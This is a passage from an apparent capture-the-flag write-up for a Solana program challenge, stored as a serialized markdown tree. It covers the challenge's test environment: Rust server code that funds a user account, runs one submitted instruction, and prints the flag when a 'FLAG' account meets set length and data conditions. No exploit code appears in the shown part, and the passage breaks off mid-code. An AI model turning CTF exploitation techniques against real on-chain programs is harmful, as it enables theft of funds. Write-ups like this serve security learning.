ag":8287,"props":40331,"children":40333},{"id":40332},"test-environment",[40334],{"type":29,"value":40335},"Test Environment",{"type":23,"tag":32,"props":40337,"children":40338},{},[40339],{"type":29,"value":40340},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":23,"tag":32,"props":40342,"children":40343},{},[40344,40346,40352],{"type":29,"value":40345},"When you connect to the server through a tcp connection, ",{"type":23,"tag":38,"props":40347,"children":40349},{"className":40348},[],[40350],{"type":29,"value":40351},"framework/src/main.rs::handle_connection",{"type":29,"value":40353}," gets executed, which does the following:",{"type":23,"tag":116,"props":40355,"children":40356},{},[40357],{"type":23,"tag":120,"props":40358,"children":40359},{},[40360],{"type":29,"value":40361},"Creates a new Solana local node",{"type":23,"tag":131,"props":40363,"children":40365},{"className":1639,"code":40364,"language":1638,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[40366],{"type":23,"tag":38,"props":40367,"children":40368},{"__ignoreMap":7},[40369,40450,40526],{"type":23,"tag":141,"props":40370,"children":40371},{"class":143,"line":144},[40372,40376,40380,40385,40389,40394,40398,40403,40407,40412,40416,40421,40425,40429,40433,40438,40442,40446],{"type":23,"tag":141,"props":40373,"children":40374},{"style":449},[40375],{"type":29,"value":10467},{"type":23,"tag":141,"props":40377,"children":40378},{"style":449},[40379],{"type":29,"value":1664},{"type":23,"tag":141,"props":40381,"children":40382},{"style":750},[40383],{"type":29,"value":40384}," builder",{"type":23,"tag":141,"props":40386,"children":40387},{"style":160},[40388],{"type":29,"value":1674},{"type":23,"tag":141,"props":40390,"children":40391},{"style":725},[40392],{"type":29,"value":40393}," ChallengeBuilder",{"type":23,"tag":141,"props":40395,"children":40396},{"style":160},[40397],{"type":29,"value":2141},{"type":23,"tag":141,"props":40399,"children":40400},{"style":184},[40401],{"type":29,"value":40402},"try_from",{"type":23,"tag":141,"props":40404,"children":40405},{"style":154},[40406],{"type":29,"value":192},{"type":23,"tag":141,"props":40408,"children":40409},{"style":750},[40410],{"type":29,"value":40411},"socket",{"type":23,"tag":141,"props":40413,"children":40414},{"style":160},[40415],{"type":29,"value":322},{"type":23,"tag":141,"props":40417,"children":40418},{"style":184},[40419],{"type":29,"value":40420},"try_clone",{"type":23,"tag":141,"props":40422,"children":40423},{"style":154},[40424],{"type":29,"value":12557},{"type":23,"tag":141,"props":40426,"children":40427},{"style":160},[40428],{"type":29,"value":322},{"type":23,"tag":141,"props":40430,"children":40431},{"style":184},[40432],{"type":29,"value":2328},{"type":23,"tag":141,"props":40434,"children":40435},{"style":154},[40436],{"type":29,"value":40437},"())",{"type":23,"tag":141,"props":40439,"children":40440},{"style":160},[40441],{"type":29,"value":322},{"type":23,"tag":141,"props":40443,"children":40444},{"style":184},[40445],{"type":29,"value":2328},{"type":23,"tag":141,"props":40447,"children":40448},{"style":154},[40449],{"type":29,"value":1305},{"type":23,"tag":141,"props":40451,"children":40452},{"class":143,"line":180},[40453,40458,40462,40467,40471,40476,40480,40485,40489,40494,40499,40503,40508,40512,40517,40521],{"type":23,"tag":141,"props":40454,"children":40455},{"style":184},[40456],{"type":29,"value":40457},"assert!",{"type":23,"tag":141,"props":40459,"children":40460},{"style":154},[40461],{"type":29,"value":192},{"type":23,"tag":141,"props":40463,"children":40464},{"style":750},[40465],{"type":29,"value":40466},"builder",{"type":23,"tag":141,"props":40468,"children":40469},{"style":160},[40470],{"type":29,"value":322},{"type":23,"tag":141,"props":40472,"children":40473},{"style":184},[40474],{"type":29,"value":40475},"add_program",{"type":23,"tag":141,"props":40477,"children":40478},{"style":154},[40479],{"type":29,"value":192},{"type":23,"tag":141,"props":40481,"children":40482},{"style":828},[40483],{"type":29,"value":40484},"\"/path/to/chall.so\"",{"type":23,"tag":141,"props":40486,"children":40487},{"style":154},[40488],{"type":29,"value":480},{"type":23,"tag":141,"props":40490,"children":40491},{"style":725},[40492],{"type":29,"value":40493},"Some",{"type":23,"tag":141,"props":40495,"children":40496},{"style":154},[40497],{"type":29,"value":40498},"(chall",{"type":23,"tag":141,"props":40500,"children":40501},{"style":160},[40502],{"type":29,"value":2141},{"type":23,"tag":141,"props":40504,"children":40505},{"style":154},[40506],{"type":29,"value":40507},"ID)) ",{"type":23,"tag":141,"props":40509,"children":40510},{"style":160},[40511],{"type":29,"value":7251},{"type":23,"tag":141,"props":40513,"children":40514},{"style":154},[40515],{"type":29,"value":40516}," chall",{"type":23,"tag":141,"props":40518,"children":40519},{"style":160},[40520],{"type":29,"value":2141},{"type":23,"tag":141,"props":40522,"children":40523},{"style":154},[40524],{"type":29,"value":40525},"ID);\n",{"type":23,"tag":141,"props":40527,"children":40528},{"class":143,"line":205},[40529,40533,40537,40541,40545,40549,40553,40558,40562,40566,40570],{"type":23,"tag":141,"props":40530,"children":40531},{"style":449},[40532],{"type":29,"value":10467},{"type":23,"tag":141,"props":40534,"children":40535},{"style":449},[40536],{"type":29,"value":1664},{"type":23,"tag":141,"props":40538,"children":40539},{"style":750},[40540],{"type":29,"value":40516},{"type":23,"tag":141,"props":40542,"children":40543},{"style":160},[40544],{"type":29,"value":1674},{"type":23,"tag":141,"props":40546,"children":40547},{"style":750},[40548],{"type":29,"value":40384},{"type":23,"tag":141,"props":40550,"children":40551},{"style":160},[40552],{"type":29,"value":322},{"type":23,"tag":141,"props":40554,"children":40555},{"style":184},[40556],{"type":29,"value":40557},"build",{"type":23,"tag":141,"props":40559,"children":40560},{"style":154},[40561],{"type":29,"value":12557},{"type":23,"tag":141,"props":40563,"children":40564},{"style":160},[40565],{"type":29,"value":322},{"type":23,"tag":141,"props":40567,"children":40568},{"style":148},[40569],{"type":29,"value":31385},{"type":23,"tag":141,"props":40571,"children":40572},{"style":154},[40573],{"type":29,"value":1684},{"type":23,"tag":116,"props":40575,"children":40576},{"start":180},[40577],{"type":23,"tag":120,"props":40578,"children":40579},{},[40580],{"type":29,"value":40581},"Funds the user account with 100 SOL",{"type":23,"tag":131,"props":40583,"children":40585},{"className":1639,"code":40584,"language":1638,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[40586],{"type":23,"tag":38,"props":40587,"children":40588},{"__ignoreMap":7},[40589,40622,40654,40661,40703,40735,40742,40750,40814,40833,40840],{"type":23,"tag":141,"props":40590,"children":40591},{"class":143,"line":144},[40592,40596,40601,40605,40610,40614,40618],{"type":23,"tag":141,"props":40593,"children":40594},{"style":449},[40595],{"type":29,"value":10467},{"type":23,"tag":141,"props":40597,"children":40598},{"style":750},[40599],{"type":29,"value":40600}," user_keypair",{"type":23,"tag":141,"props":40602,"children":40603},{"style":160},[40604],{"type":29,"value":1674},{"type":23,"tag":141,"props":40606,"children":40607},{"style":725},[40608],{"type":29,"value":40609}," Keypair",{"type":23,"tag":141,"props":40611,"children":40612},{"style":160},[40613],{"type":29,"value":2141},{"type":23,"tag":141,"props":40615,"children":40616},{"style":184},[40617],{"type":29,"value":13799},{"type":23,"tag":141,"props":40619,"children":40620},{"style":154},[40621],{"type":29,"value":1305},{"type":23,"tag":141,"props":40623,"children":40624},{"class":143,"line":180},[40625,40629,40634,40638,40642,40646,40650],{"type":23,"tag":141,"props":40626,"children":40627},{"style":449},[40628],{"type":29,"value":10467},{"type":23,"tag":141,"props":40630,"children":40631},{"style":750},[40632],{"type":29,"value":40633}," user",{"type":23,"tag":141,"props":40635,"children":40636},{"style":160},[40637],{"type":29,"value":1674},{"type":23,"tag":141,"props":40639,"children":40640},{"style":750},[40641],{"type":29,"value":40600},{"type":23,"tag":141,"props":40643,"children":40644},{"style":160},[40645],{"type":29,"value":322},{"type":23,"tag":141,"props":40647,"children":40648},{"style":184},[40649],{"type":29,"value":2205},{"type":23,"tag":141,"props":40651,"children":40652},{"style":154},[40653],{"type":29,"value":1305},{"type":23,"tag":141,"props":40655,"children":40656},{"class":143,"line":205},[40657],{"type":23,"tag":141,"props":40658,"children":40659},{"emptyLinePlaceholder":15},[40660],{"type":29,"value":719},{"type":23,"tag":141,"props":40662,"children":40663},{"class":143,"line":218},[40664,40668,40673,40677,40681,40686,40690,40694,40698],{"type":23,"tag":141,"props":40665,"children":40666},{"style":449},[40667],{"type":29,"value":10467},{"type":23,"tag":141,"props":40669,"children":40670},{"style":750},[40671],{"type":29,"value":40672}," payer_keypair",{"type":23,"tag":141,"props":40674,"children":40675},{"style":160},[40676],{"type":29,"value":1674},{"type":23,"tag":141,"props":40678,"children":40679},{"style":160},[40680],{"type":29,"value":5815},{"type":23,"tag":141,"props":40682,"children":40683},{"style":750},[40684],{"type":29,"value":40685},"chall",{"type":23,"tag":141,"props":40687,"children":40688},{"style":160},[40689],{"type":29,"value":322},{"type":23,"tag":141,"props":40691,"children":40692},{"style":154},[40693],{"type":29,"value":18952},{"type":23,"tag":141,"props":40695,"children":40696},{"style":160},[40697],{"type":29,"value":322},{"type":23,"tag":141,"props":40699,"children":40700},{"style":154},[40701],{"type":29,"value":40702},"payer;\n",{"type":23,"tag":141,"props":40704,"children":40705},{"class":143,"line":227},[40706,40710,40715,40719,40723,40727,40731],{"type":23,"tag":141,"props":40707,"children":40708},{"style":449},[40709],{"type":29,"value":10467},{"type":23,"tag":141,"props":40711,"children":40712},{"style":750},[40713],{"type":29,"value":40714}," payer",{"type":23,"tag":141,"props":40716,"children":40717},{"style":160},[40718],{"type":29,"value":1674},{"type":23,"tag":141,"props":40720,"children":40721},{"style":750},[40722],{"type":29,"value":40672},{"type":23,"tag":141,"props":40724,"children":40725},{"style":160},[40726],{"type":29,"value":322},{"type":23,"tag":141,"props":40728,"children":40729},{"style":184},[40730],{"type":29,"value":2205},{"type":23,"tag":141,"props":40732,"children":40733},{"style":154},[40734],{"type":29,"value":1305},{"type":23,"tag":141,"props":40736,"children":40737},{"class":143,"line":241},[40738],{"type":23,"tag":141,"props":40739,"children":40740},{"emptyLinePlaceholder":15},[40741],{"type":29,"value":719},{"type":23,"tag":141,"props":40743,"children":40744},{"class":143,"line":262},[40745],{"type":23,"tag":141,"props":40746,"children":40747},{"style":750},[40748],{"type":29,"value":40749},"chall\n",{"type":23,"tag":141,"props":40751,"children":40752},{"class":143,"line":271},[40753,40758,40763,40768,40772,40776,40780,40784,40789,40793,40797,40801,40805,40810],{"type":23,"tag":141,"props":40754,"children":40755},{"style":160},[40756],{"type":29,"value":40757}," .",{"type":23,"tag":141,"props":40759,"children":40760},{"style":184},[40761],{"type":29,"value":40762},"run_ix",{"type":23,"tag":141,"props":40764,"children":40765},{"style":154},[40766],{"type":29,"value":40767},"(system_instruction",{"type":23,"tag":141,"props":40769,"children":40770},{"style":160},[40771],{"type":29,"value":2141},{"type":23,"tag":141,"props":40773,"children":40774},{"style":184},[40775],{"type":29,"value":30591},{"type":23,"tag":141,"props":40777,"children":40778},{"style":154},[40779],{"type":29,"value":192},{"type":23,"tag":141,"props":40781,"children":40782},{"style":160},[40783],{"type":29,"value":1770},{"type":23,"tag":141,"props":40785,"children":40786},{"style":750},[40787],{"type":29,"value":40788},"payer",{"type":23,"tag":141,"props":40790,"children":40791},{"style":154},[40792],{"type":29,"value":480},{"type":23,"tag":141,"props":40794,"children":40795},{"style":160},[40796],{"type":29,"value":1770},{"type":23,"tag":141,"props":40798,"children":40799},{"style":750},[40800],{"type":29,"value":18904},{"type":23,"tag":141,"props":40802,"children":40803},{"style":154},[40804],{"type":29,"value":480},{"type":23,"tag":141,"props":40806,"children":40807},{"style":472},[40808],{"type":29,"value":40809},"100_000_000_000",{"type":23,"tag":141,"props":40811,"children":40812},{"style":154},[40813],{"type":29,"value":498},{"type":23,"tag":141,"props":40815,"children":40816},{"class":143,"line":293},[40817,40821,40825,40829],{"type":23,"tag":141,"props":40818,"children":40819},{"style":160},[40820],{"type":29,"value":40757},{"type":23,"tag":141,"props":40822,"children":40823},{"style":148},[40824],{"type":29,"value":31385},{"type":23,"tag":141,"props":40826,"children":40827},{"style":160},[40828],{"type":29,"value":1816},{"type":23,"tag":141,"props":40830,"children":40831},{"style":154},[40832],{"type":29,"value":1684},{"type":23,"tag":141,"props":40834,"children":40835},{"class":143,"line":801},[40836],{"type":23,"tag":141,"props":40837,"children":40838},{"emptyLinePlaceholder":15},[40839],{"type":29,"value":719},{"type":23,"tag":141,"props":40841,"children":40842},{"class":143,"line":810},[40843,40848,40852,40856,40860,40865,40869,40873,40877,40881],{"type":23,"tag":141,"props":40844,"children":40845},{"style":184},[40846],{"type":29,"value":40847},"writeln!",{"type":23,"tag":141,"props":40849,"children":40850},{"style":154},[40851],{"type":29,"value":192},{"type":23,"tag":141,"props":40853,"children":40854},{"style":750},[40855],{"type":29,"value":40411},{"type":23,"tag":141,"props":40857,"children":40858},{"style":154},[40859],{"type":29,"value":480},{"type":23,"tag":141,"props":40861,"children":40862},{"style":828},[40863],{"type":29,"value":40864},"\"user: {}\"",{"type":23,"tag":141,"props":40866,"children":40867},{"style":154},[40868],{"type":29,"value":480},{"type":23,"tag":141,"props":40870,"children":40871},{"style":750},[40872],{"type":29,"value":18904},{"type":23,"tag":141,"props":40874,"children":40875},{"style":154},[40876],{"type":29,"value":1788},{"type":23,"tag":141,"props":40878,"children":40879},{"style":160},[40880],{"type":29,"value":1816},{"type":23,"tag":141,"props":40882,"children":40883},{"style":154},[40884],{"type":29,"value":1684},{"type":23,"tag":116,"props":40886,"children":40887},{"start":205},[40888],{"type":23,"tag":120,"props":40889,"children":40890},{},[40891],{"type":29,"value":40892},"Reads an instruction from the tcp stream and executes it",{"type":23,"tag":131,"props":40894,"children":40896},{"className":1639,"code":40895,"language":1638,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[40897],{"type":23,"tag":38,"props":40898,"children":40899},{"__ignoreMap":7},[40900,40950],{"type":23,"tag":141,"props":40901,"children":40902},{"class":143,"line":144},[40903,40907,40912,40916,40920,40924,40929,40933,40937,40942,40946],{"type":23,"tag":141,"props":40904,"children":40905},{"style":449},[40906],{"type":29,"value":10467},{"type":23,"tag":141,"props":40908,"children":40909},{"style":750},[40910],{"type":29,"value":40911}," solve_ix",{"type":23,"tag":141,"props":40913,"children":40914},{"style":160},[40915],{"type":29,"value":1674},{"type":23,"tag":141,"props":40917,"children":40918},{"style":750},[40919],{"type":29,"value":40516},{"type":23,"tag":141,"props":40921,"children":40922},{"style":160},[40923],{"type":29,"value":322},{"type":23,"tag":141,"props":40925,"children":40926},{"style":184},[40927],{"type":29,"value":40928},"read_instruction",{"type":23,"tag":141,"props":40930,"children":40931},{"style":154},[40932],{"type":29,"value":40498},{"type":23,"tag":141,"props":40934,"children":40935},{"style":160},[40936],{"type":29,"value":2141},{"type":23,"tag":141,"props":40938,"children":40939},{"style":154},[40940],{"type":29,"value":40941},"ID)",{"type":23,"tag":141,"props":40943,"children":40944},{"style":160},[40945],{"type":29,"value":1816},{"type":23,"tag":141,"props":40947,"children":40948},{"style":154},[40949],{"type":29,"value":1684},{"type":23,"tag":141,"props":40951,"children":40952},{"class":143,"line":180},[40953,40957,40961,40966,40970,40974,40978,40983,40987,40991,40995,40999,41004,41008,41012,41016,41020,41024,41028,41032],{"type":23,"tag":141,"props":40954,"children":40955},{"style":750},[40956],{"type":29,"value":40685},{"type":23,"tag":141,"props":40958,"children":40959},{"style":160},[40960],{"type":29,"value":322},{"type":23,"tag":141,"props":40962,"children":40963},{"style":184},[40964],{"type":29,"value":40965},"run_ixs_full",{"type":23,"tag":141,"props":40967,"children":40968},{"style":154},[40969],{"type":29,"value":192},{"type":23,"tag":141,"props":40971,"children":40972},{"style":160},[40973],{"type":29,"value":1770},{"type":23,"tag":141,"props":40975,"children":40976},{"style":154},[40977],{"type":29,"value":2399},{"type":23,"tag":141,"props":40979,"children":40980},{"style":750},[40981],{"type":29,"value":40982},"solve_ix",{"type":23,"tag":141,"props":40984,"children":40985},{"style":154},[40986],{"type":29,"value":21732},{"type":23,"tag":141,"props":40988,"children":40989},{"style":160},[40990],{"type":29,"value":1770},{"type":23,"tag":141,"props":40992,"children":40993},{"style":154},[40994],{"type":29,"value":2399},{"type":23,"tag":141,"props":40996,"children":40997},{"style":160},[40998],{"type":29,"value":1770},{"type":23,"tag":141,"props":41000,"children":41001},{"style":750},[41002],{"type":29,"value":41003},"user_keypair",{"type":23,"tag":141,"props":41005,"children":41006},{"style":154},[41007],{"type":29,"value":21732},{"type":23,"tag":141,"props":41009,"children":41010},{"style":160},[41011],{"type":29,"value":1770},{"type":23,"tag":141,"props":41013,"children":41014},{"style":750},[41015],{"type":29,"value":18904},{"type":23,"tag":141,"props":41017,"children":41018},{"style":154},[41019],{"type":29,"value":1788},{"type":23,"tag":141,"props":41021,"children":41022},{"style":160},[41023],{"type":29,"value":322},{"type":23,"tag":141,"props":41025,"children":41026},{"style":148},[41027],{"type":29,"value":31385},{"type":23,"tag":141,"props":41029,"children":41030},{"style":160},[41031],{"type":29,"value":1816},{"type":23,"tag":141,"props":41033,"children":41034},{"style":154},[41035],{"type":29,"value":1684},{"type":23,"tag":116,"props":41037,"children":41038},{"start":218},[41039],{"type":23,"tag":120,"props":41040,"children":41041},{},[41042],{"type":29,"value":41043},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":23,"tag":131,"props":41045,"children":41047},{"className":1639,"code":41046,"language":1638,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n if acct.data.len() == 0x1337\n && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n {\n writeln!(socket, \"congrats!\")?;\n if let Ok(flag) = env::var(\"FLAG\") {\n writeln!(socket, \"flag: {:?}\", flag)?;\n } else {\n writeln!(socket, \"flag not found, please contact admin\")?;\n }\n }\n}\n",[41048],{"type":23,"tag":38,"props":41049,"children":41050},{"__ignoreMap":7},[41051,41135,41226,41267,41351,41358,41395,41452,41497,41512,41548,41555,41562],{"type":23,"tag":141,"props":41052,"children":41053},{"class":143,"line":144},[41054,41058,41063,41067,41071,41075,41080,41084,41088,41092,41097,41101,41106,41111,41115,41119,41123,41127,41131],{"type":23,"tag":141,"props":41055,"children":41056},{"style":449},[41057],{"type":29,"value":10467},{"type":23,"tag":141,"props":41059,"children":41060},{"style":750},[41061],{"type":29,"value":41062}," flag",{"type":23,"tag":141,"props":41064,"children":41065},{"style":160},[41066],{"type":29,"value":1674},{"type":23,"tag":141,"props":41068,"children":41069},{"style":725},[41070],{"type":29,"value":19529},{"type":23,"tag":141,"props":41072,"children":41073},{"style":160},[41074],{"type":29,"value":2141},{"type":23,"tag":141,"props":41076,"children":41077},{"style":184},[41078],{"type":29,"value":41079},"create_program_address",{"type":23,"tag":141,"props":41081,"children":41082},{"style":154},[41083],{"type":29,"value":192},{"type":23,"tag":141,"props":41085,"children":41086},{"style":160},[41087],{"type":29,"value":1770},{"type":23,"tag":141,"props":41089,"children":41090},{"style":154},[41091],{"type":29,"value":2399},{"type":23,"tag":141,"props":41093,"children":41094},{"style":828},[41095],{"type":29,"value":41096},"\"FLAG\"",{"type":23,"tag":141,"props":41098,"children":41099},{"style":160},[41100],{"type":29,"value":322},{"type":23,"tag":141,"props":41102,"children":41103},{"style":184},[41104],{"type":29,"value":41105},"as_ref",{"type":23,"tag":141,"props":41107,"children":41108},{"style":154},[41109],{"type":29,"value":41110},"()], ",{"type":23,"tag":141,"props":41112,"children":41113},{"style":160},[41114],{"type":29,"value":1770},{"type":23,"tag":141,"props":41116,"children":41117},{"style":154},[41118],{"type":29,"value":40685},{"type":23,"tag":141,"props":41120,"children":41121},{"style":160},[41122],{"type":29,"value":2141},{"type":23,"tag":141,"props":41124,"children":41125},{"style":154},[41126],{"type":29,"value":40941},{"type":23,"tag":141,"props":41128,"children":41129},{"style":160},[41130],{"type":29,"value":1816},{"type":23,"tag":141,"props":41132,"children":41133},{"style":154},[41134],{"type":29,"value":1684},{"type":23,"tag":141,"props":41136,"children":41137},{"class":143,"line":180},[41138,41142,41146,41150,41154,41159,41163,41167,41171,41175,41179,41183,41188,41192,41197,41201,41206,41210,41214,41218,41222],{"type":23,"tag":141,"props":41139,"children":41140},{"style":148},[41141],{"type":29,"value":14255},{"type":23,"tag":141,"props":41143,"children":41144},{"style":449},[41145],{"type":29,"value":25989},{"type":23,"tag":141,"props":41147,"children":41148},{"style":725},[41149],{"type":29,"value":25994},{"type":23,"tag":141,"props":41151,"children":41152},{"style":154},[41153],{"type":29,"value":192},{"type":23,"tag":141,"props":41155,"children":41156},{"style":750},[41157],{"type":29,"value":41158},"acct",{"type":23,"tag":141,"props":41160,"children":41161},{"style":154},[41162],{"type":29,"value":1748},{"type":23,"tag":141,"props":41164,"children":41165},{"style":160},[41166],{"type":29,"value":1377},{"type":23,"tag":141,"props":41168,"children":41169},{"style":750},[41170],{"type":29,"value":40516},{"type":23,"tag":141,"props":41172,"children":41173},{"style":160},[41174],{"type":29,"value":322},{"type":23,"tag":141,"props":41176,"children":41177},{"style":154},[41178],{"type":29,"value":18952},{"type":23,"tag":141,"props":41180,"children":41181},{"style":160},[41182],{"type":29,"value":322},{"type":23,"tag":141,"props":41184,"children":41185},{"style":154},[41186],{"type":29,"value":41187},"banks_client",{"type":23,"tag":141,"props":41189,"children":41190},{"style":160},[41191],{"type":29,"value":322},{"type":23,"tag":141,"props":41193,"children":41194},{"style":184},[41195],{"type":29,"value":41196},"get_account",{"type":23,"tag":141,"props":41198,"children":41199},{"style":154},[41200],{"type":29,"value":192},{"type":23,"tag":141,"props":41202,"children":41203},{"style":750},[41204],{"type":29,"value":41205},"flag",{"type":23,"tag":141,"props":41207,"children":41208},{"style":154},[41209],{"type":29,"value":1788},{"type":23,"tag":141,"props":41211,"children":41212},{"style":160},[41213],{"type":29,"value":322},{"type":23,"tag":141,"props":41215,"children":41216},{"style":148},[41217],{"type":29,"value":31385},{"type":23,"tag":141,"props":41219,"children":41220},{"style":160},[41221],{"type":29,"value":1816},{"type":23,"tag":141,"props":41223,"children":41224},{"style":154},[41225],{"type":29,"value":1951},{"type":23,"tag":141,"props":41227,"children":41228},{"class":143,"line":205},[41229,41233,41238,41242,41246,41250,41254,41258,41262],{"type":23,"tag":141,"props":41230,"children":41231},{"style":148},[41232],{"type":29,"value":151},{"type":23,"tag":141,"props":41234,"children":41235},{"style":750},[41236],{"type":29,"value":41237}," acct",{"type":23,"tag":141,"props":41239,"children":41240},{"style":160},[41241],{"type":29,"value":322},{"type":23,"tag":141,"props":41243,"children":41244},{"style":154},[41245],{"type":29,"value":2367},{"type":23,"tag":141,"props":41247,"children":41248},{"style":160},[41249],{"type":29,"value":322},{"type":23,"tag":141,"props":41251,"children":41252},{"style":184},[41253],{"type":29,"value":7817},{"type":23,"tag":141,"props":41255,"children":41256},{"style":154},[41257],{"type":29,"value":12720},{"type":23,"tag":141,"props":41259,"children":41260},{"style":160},[41261],{"type":29,"value":7251},{"type":23,"tag":141,"props":41263,"children":41264},{"style":472},[41265],{"type":29,"value":41266}," 0x1337\n",{"type":23,"tag":141,"props":41268,"children":41269},{"class":143,"line":218},[41270,41275,41279,41283,41288,41292,41296,41300,41305,41309,41313,41317,41321,41325,41329,41333,41337,41342,41346],{"type":23,"tag":141,"props":41271,"children":41272},{"style":160},[41273],{"type":29,"value":41274}," &&",{"type":23,"tag":141,"props":41276,"children":41277},{"style":725},[41278],{"type":29,"value":4534},{"type":23,"tag":141,"props":41280,"children":41281},{"style":160},[41282],{"type":29,"value":2141},{"type":23,"tag":141,"props":41284,"children":41285},{"style":184},[41286],{"type":29,"value":41287},"from_le_bytes",{"type":23,"tag":141,"props":41289,"children":41290},{"style":154},[41291],{"type":29,"value":192},{"type":23,"tag":141,"props":41293,"children":41294},{"style":750},[41295],{"type":29,"value":41158},{"type":23,"tag":141,"props":41297,"children":41298},{"style":160},[41299],{"type":29,"value":322},{"type":23,"tag":141,"props":41301,"children":41302},{"style":154},[41303],{"type":29,"value":41304},"data[",{"type":23,"tag":141,"props":41306,"children":41307},{"style":160},[41308],{"type":29,"value":1712},{"type":23,"tag":141,"props":41310,"children":41311},{"style":472},[41312],{"type":29,"value":2752},{"type":23,"tag":141,"props":41314,"children":41315},{"style":154},[41316],{"type":29,"value":14088},{"type":23,"tag":141,"props":41318,"children":41319},{"style":160},[41320],{"type":29,"value":322},{"type":23,"tag":141,"props":41322,"children":41323},{"style":184},[41324],{"type":29,"value":24846},{"type":23,"tag":141,"props":41326,"children":41327},{"style":154},[41328],{"type":29,"value":12557},{"type":23,"tag":141,"props":41330,"children":41331},{"style":160},[41332],{"type":29,"value":322},{"type":23,"tag":141,"props":41334,"children":41335},{"style":184},[41336],{"type":29,"value":2328},{"type":23,"tag":141,"props":41338,"children":41339},{"style":154},[41340],{"type":29,"value":41341},"()) ",{"type":23,"tag":141,"props":41343,"children":41344},{"style":160},[41345],{"type":29,"value":7251},{"type":23,"tag":141,"props":41347,"children":41348},{"style":472},[41349],{"type":29,"value":41350}," 0x4337\n",{"type":23,"tag":141,"props":41352,"children":41353},{"class":143,"line":227},[41354],{"type":23,"tag":141,"props":41355,"children":41356},{"style":154},[41357],{"type":29,"value":224},{"type":23,"tag":141,"props":41359,"children":41360},{"class":143,"line":241},[41361,41366,41370,41374,41378,41383,41387,41391],{"type":23,"tag":141,"props":41362,"children":41363},{"style":184},[41364],{"type":29,"value":41365}," writeln!",{"type":23,"tag":141,"props":41367,"children":41368},{"style":154},[41369],{"type":29,"value":192},{"type":23,"tag":141,"props":41371,"children":41372},{"style":750},[41373],{"type":29,"value":40411},{"type":23,"tag":141,"props":41375,"children":41376},{"style":154},[41377],{"type":29,"value":480},{"type":23,"tag":141,"props":41379,"children":41380},{"style":828},[41381],{"type":29,"value":41382},"\"congrats!\"",{"type":23,"tag":141,"props":41384,"children":41385},{"style":154},[41386],{"type":29,"value":1788},{"type":23,"tag":141,"props":41388,"children":41389},{"style":160},[41390],{"type":29,"value":1816},{"type":23,"tag":141,"props":41392,"children":41393},{"style":154},[41394],{"type":29,"value":1684},{"type":23,"tag":141,"props":41396,"children":41397},{"class":143,"line":262},[41398,41402,41406,41411,41415,41419,41423,41427,41432,41436,41440,41444,41448],{"type":23,"tag":141,"props":41399,"children":41400},{"style":148},[41401],{"type":29,"value":233},{"type":23,"tag":141,"props":41403,"children":41404},{"style":449},[41405],{"type":29,"value":25989},{"type":23,"tag":141,"props":41407,"children":41408},{"style":725},[41409],{"type":29,"value":41410}," Ok",{"type":23,"tag":141,"props":41412,"children":41413},{"style":154},[41414],{"type":29,"value":192},{"type":23,"tag":141,"props":41416,"children":41417},{"style":750},[41418],{"type":29,"value":41205},{"type":23,"tag":141,"props":41420,"children":41421},{"style":154},[41422],{"type":29,"value":1748},{"type":23,"tag":141,"props":41424,"children":41425},{"style":160},[41426],{"type":29,"value":1377},{"type":23,"tag":141,"props":41428,"children":41429},{"style":154},[41430],{"type":29,"value":41431}," env",{"type":23,"tag":141,"props":41433,"children":41434},{"style":160},[41435],{"type":29,"value":2141},{"type":23,"tag":141,"props":41437,"children":41438},{"style":184},[41439],{"type":29,"value":33517},{"type":23,"tag":141,"props":41441,"children":41442},{"style":154},[41443],{"type":29,"value":192},{"type":23,"tag":141,"props":41445,"children":41446},{"style":828},[41447],{"type":29,"value":41096},{"type":23,"tag":141,"props":41449,"children":41450},{"style":154},[41451],{"type":29,"value":13480},{"type":23,"tag":141,"props":41453,"children":41454},{"class":143,"line":271},[41455,41460,41464,41468,41472,41477,41481,41485,41489,41493],{"type":23,"tag":141,"props":41456,"children":41457},{"style":184},[41458],{"type":29,"value":41459}," writeln!",{"type":23,"tag":141,"props":41461,"children":41462},{"style":154},[41463],{"type":29,"value":192},{"type":23,"tag":141,"props":41465,"children":41466},{"style":750},[41467],{"type":29,"value":40411},{"type":23,"tag":141,"props":41469,"children":41470},{"style":154},[41471],{"type":29,"value":480},{"type":23,"tag":141,"props":41473,"children":41474},{"style":828},[41475],{"type":29,"value":41476},"\"flag: {:?}\"",{"type":23,"tag":141,"props":41478,"children":41479},{"style":154},[41480],{"type":29,"value":480},{"type":23,"tag":141,"props":41482,"children":41483},{"style":750},[41484],{"type":29,"value":41205},{"type":23,"tag":141,"props":41486,"children":41487},{"style":154},[41488],{"type":29,"value":1788},{"type":23,"tag":141,"props":41490,"children":41491},{"style":160},[41492],{"type":29,"value":1816},{"type":23,"tag":141,"props":41494,"children":41495},{"style":154},[41496],{"type":29,"value":1684},{"type":23,"tag":141,"props":41498,"children":41499},{"class":143,"line":293},[41500,41504,41508],{"type":23,"tag":141,"props":41501,"children":41502},{"style":154},[41503],{"type":29,"value":1971},{"type":23,"tag":141,"props":41505,"children":41506},{"style":148},[41507],{"type":29,"value":1976},{"type":23,"tag":141,"props":41509,"children":41510},{"style":154},[41511],{"type":29,"value":1951},{"type":23,"tag":141,"props":41513,"children":41514},{"class":143,"line":801},[41515,41519,41523,41527,41531,41536,41540,41544],{"type":23,"tag":141,"props":41516,"children":41517},{"style":184},[41518],{"type":29,"value":41459},{"type":23,"tag":141,"props":41520,"children":41521},{"style":154},[41522],{"type":29,"value":192},{"type":23,"tag":141,"props":41524,"children":41525},{"style":750},[41526],{"type":29,"value":40411},{"type":23,"tag":141,"props":41528,"